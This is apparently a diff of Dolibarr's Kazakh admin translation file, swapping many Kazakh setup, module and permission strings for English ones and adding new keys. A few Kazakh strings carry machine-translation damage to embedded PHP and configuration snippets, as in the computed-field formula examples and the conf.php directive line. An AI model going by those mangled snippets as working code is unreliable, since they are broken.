болмаса, есептегішті жыл сайын қалпына келтіру үшін @ опциясын қолдана алмайсыз. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Қате, егер {yy} {mm} немесе {yyyy} {mm} реттілігі маскада болмаса, @ опциясын қолдануға болмайды. UMask=Unix/Linux/BSD/Mac файлдық жүйесіндегі жаңа файлдар үшін UMask параметрі. -UMaskExplanation=Бұл параметр серверде Dolibarr жасаған файлдарға әдепкі бойынша орнатылған рұқсаттарды анықтауға мүмкіндік береді (мысалы, жүктеу кезінде).
      Ол сегіздік мән болуы керек (мысалы, 0666 барлығына оқу мен жазуды білдіреді).
      Бұл параметр Windows серверінде пайдасыз. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Қатысушылардың тізімі мен оларды ұйымдастыру үшін Wiki бетін қараңыз UseACacheDelay= Экспорттық жауапты секундтарда кэштеуді кешіктіру (0 немесе кэшсіз бос) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Бірегей Boolean=Логикалық (бір құсбелгі) ExtrafieldPhone = Телефон ExtrafieldPrice = Бағасы +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Электрондық пошта ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Тізімді таңдаңыз ExtrafieldSelectList = Кестеден таңдаңыз ExtrafieldSeparator=Бөлгіш (өріс емес) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Құсбелгілер ExtrafieldCheckBoxFromList=Кестеден құсбелгілер қойыңыз ExtrafieldLink=Объектіге сілтеме ComputedFormula=Есептелген өріс -ComputedFormulaDesc=Мұнда динамикалық есептелген мәнді алу үшін объектінің басқа қасиеттерін немесе кез келген PHP кодтауын қолдана отырып формуланы енгізуге болады. Сіз PHP -ге сәйкес келетін формулаларды қолдана аласыз, оның ішінде «?» шарт операторы және келесі жаһандық объект: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      ЕСКЕРТУ ЕСКЕРТУ: $ объектінің кейбір қасиеттері ғана қол жетімді болуы мүмкін. Егер сізге жүктелмеген қасиеттер қажет болса, нысанды екінші мысалдағыдай формулаға енгізіңіз.
      Есептелген өрісті пайдалану интерфейстен өзіңізге ешқандай мән енгізе алмайтыныңызды білдіреді. Сонымен қатар, егер синтаксистік қате болса, формула ештеңені қайтармауы мүмкін.

      Формула мысалы:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc, 2)

      нысанды қайта жүктеуге мысал
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id- $ obj- $? > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Нысанды және оның негізгі объектісін жүктеуге мәжбүрлейтін формуланың басқа мысалы:
      ($ d = $ reloadedobj-> )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = new Project ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Негізгі жоба табылмады' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Есептелген өрісті сақтау ComputedpersistentDesc=Есептелген қосымша өрістер дерекқорда сақталады, алайда бұл өрістің объектісі өзгерген кезде ғана мән қайта есептеледі. Егер есептелетін өріс басқа объектілерге немесе жаһандық деректерге тәуелді болса, бұл мән қате болуы мүмкін !! ExtrafieldParamHelpPassword=Бұл өрісті бос қалдырсаңыз, бұл мән шифрлаусыз сақталатынын білдіреді (өріс экрандағы жұлдызшамен ғана жасырылуы керек).
      «Авто» параметрін құпия сөзді дерекқорға сақтау үшін әдепкі шифрлау ережесін қолдану үшін орнатыңыз (онда мән мәні тек хэш болады, бастапқы мәнді шығарып алуға болмайды) @@ -477,7 +479,7 @@ InstalledInto=%s каталогына орнатылды BarcodeInitForThirdparties=Үшінші тараптар үшін жаппай штрих-код BarcodeInitForProductsOrServices=Штрих -кодтың жаппай басталуы немесе өнімдерге немесе қызметтерге қалпына келтіру CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Штрих -кодтың барлық ағымдағы мәндерін өшіріңіз ConfirmEraseAllCurrentBarCode=Штрих -кодтың барлық ағымдағы мәндерін шынымен өшіргіңіз келе ме? AllBarcodeReset=Штрих -кодтың барлық мәндері жойылды @@ -501,7 +503,8 @@ WarningPHPMail=ЕСКЕРТУ: Қолданбадан электрондық х WarningPHPMailA=- Электрондық пошта қызметі провайдерінің серверін пайдалану сіздің электрондық поштаңыздың сенімділігін арттырады, сондықтан ол SPAM ретінде белгіленбестен жеткізу мүмкіндігін арттырады. WarningPHPMailB=- Кейбір электрондық пошта қызметтерін жеткізушілер (Yahoo сияқты) сізге өз серверінен басқа серверден электрондық хат жіберуге рұқсат бермейді. Сіздің қазіргі қондырғыңыз электрондық пошта провайдерінің сервері емес, электрондық поштаны жіберу үшін қосымшаның серверін қолданады, сондықтан кейбір алушылар (шектеулі DMARC протоколымен үйлесімді) сіздің электрондық пошта провайдеріңізден сіздің электрондық поштаңызды және кейбір электрондық пошта провайдерлерін қабылдай алатынын сұрайды. (Yahoo сияқты) «жоқ» деп жауап беруі мүмкін, себебі сервер олардікі емес, сондықтан сіздің жіберген хаттарыңыздың аз бөлігі жеткізілімге қабылданбауы мүмкін (электрондық пошта провайдерінің жіберу квотасына да абай болыңыз). WarningPHPMailC=- Электрондық поштаны жіберу үшін өзіңіздің электрондық пошта қызмет провайдерінің SMTP серверін пайдалану да қызықты, сондықтан қосымшадан жіберілген барлық хаттар сіздің пошта жәшігіңіздің «Жіберілген» каталогына сақталады. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Егер сіздің электрондық пошта SMTP провайдеріңізге электрондық пошта клиентін кейбір IP мекенжайларымен шектеу қажет болса (өте сирек), бұл сіздің ERP CRM қосымшасына арналған пошта пайдаланушы агентінің (MUA) IP мекенжайы: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Мысал:
      Жаңа үшінші та PageUrlForDefaultValuesList=
      Мысал:
      Үшінші жақтарды тізімдейтін бет үшін %s .
      Қолданбалы каталогқа орнатылған сыртқы модульдердің URL мекен -жайы үшін «custom/» қосылмайды, сондықтан mymodule/mypagelist.php сияқты жолды пайдаланыңыз, бірақ custom/mymodule/mypagelist.php емес.
      Егер url параметрі бар болса ғана әдепкі мәнді алғыңыз келсе, %s пайдалануға болады AlsoDefaultValuesAreEffectiveForActionCreate=Сондай -ақ, пішін жасау үшін әдепкі мәндерді қайта жазу дұрыс жасалған беттер үшін ғана жұмыс істейтінін ескеріңіз (сондықтан әрекет = жасау немесе ұсыну параметрімен ...) EnableDefaultValues=Әдепкі мәндерді теңшеуді қосыңыз -EnableOverwriteTranslation=Қайта жазылған аударманы пайдалануды қосу +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Осы код бар кілт үшін аударма табылды. Бұл мәнді өзгерту үшін оны Home-Setup-аудармасынан өңдеу керек. WarningSettingSortOrder=Ескерту, әдепкі сұрыптау тәртібін орнату, егер өріс белгісіз өріс болса, тізім бетіне өту кезінде техникалық қатеге әкелуі мүмкін. Егер сізде осындай қате болса, әдепкі сұрыптау тәртібін жою және әдепкі әрекетті қалпына келтіру үшін осы бетке оралыңыз. Field=Өріс @@ -643,11 +646,13 @@ Module2300Name=Жоспарланған тапсырмалар Module2300Desc=Жоспарланған жұмысты басқару (cron немесе хроно лақап аты) Module2400Name=Оқиғалар/Күн тәртібі Module2400Desc=Оқиғаларды бақылау. Бақылау мақсатында автоматты оқиғаларды тіркеңіз немесе қолмен оқиғалар мен кездесулерді жазыңыз. Бұл клиенттермен жақсы қарым -қатынасты басқарудың негізгі модулі. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Құжаттарды басқару жүйесі / электронды мазмұнды басқару. Жасалған немесе сақталған құжаттарды автоматты түрде ұйымдастыру. Қажет кезде оларды бөлісіңіз. -Module2600Name=API/Web Services (SOAP сервері) +Module2600Name=API / Web services (SOAP server) Module2600Desc=API қызметтерін ұсынатын Dolibarr SOAP серверін қосыңыз -Module2610Name=API/Web қызметтері (REST сервері) +Module2610Name=API / Web services (REST server) Module2610Desc=API қызметтерін ұсынатын Dolibarr REST серверін қосыңыз Module2660Name=WebServices -ке қоңырау шалыңыз (SOAP клиенті) Module2660Desc=Dolibarr веб -қызметтері клиентін қосыңыз (Деректерді/сұрауларды сыртқы серверлерге жіберу үшін қолдануға болады. Қазіргі уақытта тек сатып алуға тапсырыстарға қолдау көрсетіледі.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind түрлендіру мүмкіндіктері Module3200Name=Өзгермейтін мұрағаттар Module3200Desc=Іскерлік оқиғалардың өзгермейтін журналын қосыңыз. Оқиғалар нақты уақыт режимінде мұрағатталады. Журнал-экспорттауға болатын тізбектелген оқиғалардың тек оқуға арналған кестесі. Бұл модуль кейбір елдер үшін міндетті болуы мүмкін. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Әлеуметтік желілер Module3400Desc=Әлеуметтік желілер өрістерін үшінші тараптар мен мекенжайларға қосыңыз (скайп, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Инкотермс Module62000Desc=Incoterms басқару үшін мүмкіндіктерді қосыңыз Module63000Name=Ресурстар Module63000Desc=Іс -шараларға бөлу үшін ресурстарды (принтерлер, машиналар, бөлмелер, ...) басқарыңыз -Permission11=Клиенттердің шот -фактураларын оқыңыз +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Тұтынушылардың шот -фактураларын жасаңыз/өзгертіңіз Permission13=Тұтынушылардың шот -фактураларын жарамсыз ету Permission14=Тұтынушылардың шот -фактураларын растау @@ -714,6 +724,7 @@ Permission27=Коммерциялық ұсыныстарды жою Permission28=Коммерциялық ұсыныстарды экспорттау Permission31=Өнімдерді оқу Permission32=Өнімдерді жасаңыз/өзгертіңіз +Permission33=Read prices products Permission34=Өнімдерді жою Permission36=Жасырын өнімдерді қараңыз/басқарыңыз Permission38=Өнімдерді экспорттау @@ -739,6 +750,7 @@ Permission79=Жазылымдарды жасаңыз/өзгертіңіз Permission81=Клиенттердің тапсырыстарын оқыңыз Permission82=Тұтынушылардың тапсырыстарын жасаңыз/өзгертіңіз Permission84=Клиенттердің тапсырыстарын тексеру +Permission85=Generate the documents sales orders Permission86=Клиенттерге тапсырыс жіберіңіз Permission87=Клиенттердің тапсырыстарын жабыңыз Permission88=Клиенттердің тапсырыстарын болдырмаңыз @@ -840,9 +852,9 @@ Permission286=Контактілерді экспорттау Permission291=Тарифтерді оқыңыз Permission292=Тарифтерге рұқсат беріңіз Permission293=Клиенттердің тарифтерін өзгерту -Permission300=Штрих -кодтарды оқу -Permission301=Штрихкодтарды жасаңыз/өзгертіңіз -Permission302=Штрих -кодтарды жою +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Қызметтерді оқу Permission312=Келісімшартқа қызмет көрсетуді/жазылуды тағайындаңыз Permission331=Бетбелгілерді оқу @@ -874,6 +886,7 @@ Permission525=Несие калькуляторына қол жеткізу Permission527=Экспорттық несиелер Permission531=Қызметтерді оқу Permission532=Қызметтерді құру/өзгерту +Permission533=Read prices services Permission534=Қызметтерді жою Permission536=Жасырын қызметтерді қараңыз/басқарыңыз Permission538=Экспорттық қызметтер @@ -937,7 +950,7 @@ Permission1190=Сатып алу тапсырыстарын бекіту (екі Permission1191=Жеткізушілердің тапсырыстарын және олардың атрибуттарын экспорттау Permission1201=Экспорт нәтижесін алыңыз Permission1202=Экспортты жасау/өзгерту -Permission1231=Сатушының шот -фактураларын оқыңыз +Permission1231=Read vendor invoices (and payments) Permission1232=Жеткізушінің шот -фактураларын жасаңыз/өзгертіңіз Permission1233=Жеткізушінің шот -фактураларын тексеру Permission1234=Жеткізушінің шот -фактураларын жою @@ -968,13 +981,14 @@ Permission3301=Жаңа модульдер құру Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Сайт мазмұнын оқыңыз Permission10002=Веб -сайт мазмұнын жасау/өзгерту (html және JavaScript мазмұны) Permission10003=Веб -сайт мазмұнын жасаңыз/өзгертіңіз (динамикалық PHP коды). Қауіпті, шектеулі әзірлеушілерге сақталуы керек. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Бірлік түрі SetupSaved=Орнату сақталды SetupNotSaved=Орнату сақталмады +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Модульдер тізіміне оралу BackToDictionaryList=Сөздіктер тізіміне қайта келу TypeOfRevenueStamp=Салық белгісінің түрі @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Бұл бағдарла SetupDescription5=Орнату мәзірінің басқа жазбалары қосымша параметрлерді басқарады. SetupDescriptionLink= %s - %s SetupDescription3b=Қолданбаның әдепкі әрекетін реттеу үшін қолданылатын негізгі параметрлер (мысалы, елге қатысты мүмкіндіктер үшін). -SetupDescription4b=Бұл бағдарлама көптеген модульдер/қосымшалар жиынтығы болып табылады. Сіздің қажеттіліктеріңізге байланысты модульдер қосылып, конфигурациялануы керек. Бұл модульдерді қосқанда мәзір жазбалары пайда болады. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Қауіпсіздік оқиғалары тексеріледі NoSecurityEventsAreAduited=Қауіпсіздік оқиғалары тексерілмейді. Сіз оларды %s мәзірінен қосуға болады Audit=Қауіпсіздік оқиғалары @@ -1235,11 +1253,13 @@ BrowserName=Браузер аты BrowserOS=Браузер ОЖ ListOfSecurityEvents=Dolibarr қауіпсіздік оқиғаларының тізімі SecurityEventsPurged=Қауіпсіздік шаралары жойылды +TrackableSecurityEvents=Trackable security events LogEventDesc=Белгілі бір қауіпсіздік оқиғалары үшін тіркеуді қосыңыз. Әкімшілер журналды %s - %s мәзірі арқылы жүргізеді. Ескерту, бұл мүмкіндік дерекқорда үлкен көлемдегі деректерді құра алады. AreaForAdminOnly=Орнату параметрлерін тек әкімші пайдаланушылары орната алады. SystemInfoDesc=Жүйелік ақпарат - бұл тек оқу режимінде алатын және тек әкімшілерге көрінетін әр түрлі техникалық ақпарат. SystemAreaForAdminOnly=Бұл аймақ тек әкімші пайдаланушыларға қол жетімді. Dolibarr пайдаланушы рұқсаттары бұл шектеуді өзгерте алмайды. CompanyFundationDesc=Сіздің компанияңыз/ұйымыңыз туралы ақпаратты өңдеңіз. Аяқтағаннан кейін беттің төменгі жағындағы «%s» түймесін басыңыз. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Егер сізде сыртқы бухгалтер/бухгалтер болса, сіз мұнда ақпаратты өңдей аласыз. AccountantFileNumber=Бухгалтерлік код DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=Бұл файлдағы триггерлер %s GeneratedPasswordDesc=Автоматты түрде жасалынатын құпия сөздер үшін қолданылатын әдісті таңдаңыз. DictionaryDesc=Барлық анықтамалық деректерді енгізіңіз. Сіз өз мәндеріңізді әдепкіге қоса аласыз. ConstDesc=Бұл бет басқа беттерде жоқ параметрлерді өңдеуге (ауыстыруға) мүмкіндік береді. Бұл негізінен әзірлеушілерге арналған резервтелген параметрлер/тек ақаулықтарды жетілдіру. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Қауіпсіздікке қатысты барлық басқа параметрлер мұнда анықталған. LimitsSetup=Шектер/дәлдікті орнату LimitsDesc=Мұнда сіз Dolibarr қолданатын шектеулерді, дәлдіктерді және оңтайландыруларды анықтай аласыз @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=PHP -де SSL функциялары жоқ DownloadMoreSkins=Жүктеу үшін қосымша мұқабалар SimpleNumRefModelDesc=Анықтамалық нөмірді %syymm-nnnn форматында қайтарады, мұнда yy-жыл, мм-ай және nnnn-қалпына келтірусіз автоматты түрде қосылатын нөмір. +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Анықтамалық нөмірді %s-nnnn форматында қайтарады, мұнда nnnn-автоматты түрде ұлғайтылатын реттелмейтін нөмір. ShowProfIdInAddress=Адрестері бар кәсіби идентификаторды көрсетіңіз ShowVATIntaInAddress=Қауымдастық ішіндегі ҚҚС нөмірін жасыру @@ -1376,7 +1399,7 @@ GetBarCode=Штрих -код алыңыз NumberingModules=Нөмірлеу модельдері DocumentModules=Құжат үлгілері ##### Module password generation -PasswordGenerationStandard=Ішкі Dolibarr алгоритміне сәйкес құрылған құпия сөзді қайтарыңыз: %s символдары ортақ сандар мен кіші әріптердегі таңбаларды қамтиды. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Жасалған құпия сөзді ұсынбаңыз. Құпия сөзді қолмен енгізу керек. PasswordGenerationPerso=Жеке конфигурацияға сәйкес құпия сөзді қайтарыңыз. SetupPerso=Сіздің конфигурацияңызға сәйкес @@ -1430,6 +1453,10 @@ SuppliersPayment=Сатушы төлемдері SupplierPaymentSetup=Сатушы төлемдерін реттеу InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Коммерциялық ұсыныстар модулін орнату ProposalsNumberingModules=Коммерциялық ұсыныстарды нөмірлеу модельдері @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Шарт жобаларында су белгіс ##### Members ##### MembersSetup=Мүшелер модулін баптау MemberMainOptions=Негізгі опциялар +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Әр мүшеге кіруді басқарыңыз AdherentMailRequired=Жаңа мүше құру үшін электрондық пошта қажет MemberSendInformationByMailByDefault=Мүшелерге пошталық растауды жіберу құсбелгісі (тексеру немесе жаңа жазылым) әдепкі бойынша қосулы MemberCreateAnExternalUserForSubscriptionValidated=Тексерілген әрбір жаңа мүше жазылымы үшін сыртқы пайдаланушы логинін жасаңыз -VisitorCanChooseItsPaymentMode=Келушілер төлемнің қол жетімді режимдерін таңдай алады +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL= электрондық поштасы арқылы мерзімі өткен жазылымдарды автоматты түрде еске салуды қосыңыз. Ескертпе: %s модулі қосылып, еске салғыштарды жіберу үшін дұрыс орнатылуы керек. MembersDocModules=Мүше жазбасынан жасалған құжаттарға арналған құжат үлгілері ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Қосымша редакторды іске қосыңыз: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG өнімдерінің егжей -тегжейлі желілерін құру/шығару барлық субъектілер үшін (ұсыныстар, тапсырыстар, шот -фактуралар және т.б.). Ескерту: Бұл жағдайда бұл параметрді қолдану қатаң ұсынылмайды, себебі ол PDF файлдарын құру кезінде арнайы таңбалар мен беттерді пішімдеуде қиындықтар тудыруы мүмкін. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG-тің жаппай электрондық поштаны жіберуге арналған құралы/басылымы (Құралдар-> электрондық пошта) FCKeditorForUserSignature=WYSIWIG құру/қолданушы қолтаңбасы FCKeditorForMail=Барлық пошта үшін WYSIWIG құру/шығарылым (Құралдар-> электрондық поштаны қоспағанда) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Мәзір өңдегіші жаңа мәзірді көрсе DetailMenuModule=Егер мәзір енгізу модульден болса, модуль атауы DetailType=Мәзір түрі (жоғарғы немесе сол жақ) DetailTitre=Мәзір жапсырмасы немесе аудармаға арналған жапсырма коды -DetailUrl=Мәзір жіберетін URL (абсолютті URL сілтемесі немесе http: // бар сыртқы сілтеме) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Кіру немесе көрсетпеу шарты DetailRight=Рұқсат етілмеген сұр мәзірлерді көрсету шарты DetailLangs=Белгі кодының аудармасы үшін файлдың аты @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Оқиға түрлерін қолданыңыз (Setup м AGENDA_USE_EVENT_TYPE_DEFAULT=Оқиғаны құру формасындағы оқиға түрі үшін осы әдепкі мәнді автоматты түрде орнатыңыз AGENDA_DEFAULT_FILTER_TYPE=Күн тәртібінің іздеу сүзгісінде оқиғаның бұл түрін автоматты түрде орнатыңыз AGENDA_DEFAULT_FILTER_STATUS=Күн тәртібінің іздеу сүзгісіндегі оқиғалар үшін бұл күйді автоматты түрде орнатыңыз +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Күн тәртібі мәзірін таңдағанда әдепкі бойынша қай көріністі ашқыңыз келеді AGENDA_REMINDER_BROWSER=
      браузерінде оқиғасы туралы еске салуды қосу (Еске түсіру күніне жеткенде, шолғыш қалқымалы терезені көрсетеді. Әр қолданушы браузердің хабарландыру қондырғысынан осындай хабарландыруларды өшіре алады). AGENDA_REMINDER_BROWSER_SOUND=Дыбыстық хабарландыруды қосу @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS акцияларының төме CashDeskYouDidNotDisableStockDecease=Сіз сату нүктесінен сату кезінде акцияның төмендеуін өшірмедіңіз. Сондықтан қойма қажет. CashDeskForceDecreaseStockLabel=Пакеттік өнімдердің қорының төмендеуі мәжбүр болды. CashDeskForceDecreaseStockDesc=Алдымен тамақтану мен сатудың ең ескі күндеріне дейін азайтыңыз. -CashDeskReaderKeyCodeForEnter=Штрихкод оқу құралында анықталған «Enter» кілт коды (Мысал: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Бетбелгі модулін орнату BookmarkDesc=Бұл модуль бетбелгілерді басқаруға мүмкіндік береді. Сонымен қатар, сіз сол жақ мәзірдегі кез келген Dolibarr беттеріне немесе сыртқы веб -сайттарға таңбашалар қоса аласыз. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Сатушы шот -фактураларды н IfSetToYesDontForgetPermission=Егер нөлдік емес мәнге орнатылса, екінші бекітуге рұқсат етілген топтарға немесе пайдаланушыларға рұқсат беруді ұмытпаңыз ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind модулін орнату -PathToGeoIPMaxmindCountryDataFile=Maxmind ip -ден елге аударылған файлға жол.
      Мысалдар:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfr/ip2/go19/z0 +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Сіздің IP -ге арналған деректер файлы PHP оқитын каталогта болуы керек екенін ескеріңіз (PHP open_basedir параметрлерін және файлдық жүйенің рұқсаттарын тексеріңіз). YouCanDownloadFreeDatFileTo= тегін демо нұсқасын Maxmind GeoIP ел файлының %s сайтынан жүктей аласыз. YouCanDownloadAdvancedDatFileTo= толық нұсқасын %s мекенжайы бойынша Maxmind GeoIP ел файлының жаңартуларымен бірге жүктеуге болады. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Деректер қоқыс файлын құру шебері BackupZipWizard=Құжаттар каталогының архивін құру шебері SomethingMakeInstallFromWebNotPossible=Келесі себептерге байланысты веб -интерфейстен сыртқы модульді орнату мүмкін емес: SomethingMakeInstallFromWebNotPossible2=Осы себепті, мұнда сипатталған жаңарту процесі тек артықшылықты пайдаланушы орындай алатын қолмен жасалатын процесс. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Әкімші сыртқы модульді қолданбадан орнатуды өшірді. Сіз бұл мүмкіндікті қамтамасыз ету үшін %s файлын жоюды сұрауыңыз керек. ConfFileMustContainCustom=Қолданбадан сыртқы модульді орнату немесе құру үшін модуль файлдарын %s каталогына сақтау қажет. Бұл каталогты Dolibarr өңдеуі үшін 2 директивалық жолды қосу үшін conf/conf.php конфигурациясын орнату қажет:
      $ dolbarr_main_;
      $ dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Тышқанды жылжыту кезінде кесте сызықтарын бөлектеңіз @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Сатып алуға тапсырыстар MailToSendSupplierInvoice=Сатушының шот -фактуралары MailToSendContract=Келісімшарттар MailToSendReception=Қабылдаулар +MailToExpenseReport=Expense reports MailToThirdparty=Үшінші тараптар MailToMember=Мүшелер MailToUser=Пайдаланушылар @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=PDF -те оң жақ шеті MAIN_PDF_MARGIN_TOP=PDF -тегі жоғарғы маржа MAIN_PDF_MARGIN_BOTTOM=PDF -тің төменгі жиегі MAIN_DOCUMENTS_LOGO_HEIGHT=PDF логотипінің биіктігі +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Арнайы таңбаларды алып тастаңыз COMPANY_AQUARIUM_CLEAN_REGEX=Регекс сүзгісі таза мәнге (COMPANY_AQUARIUM_CLEAN_REGEX) 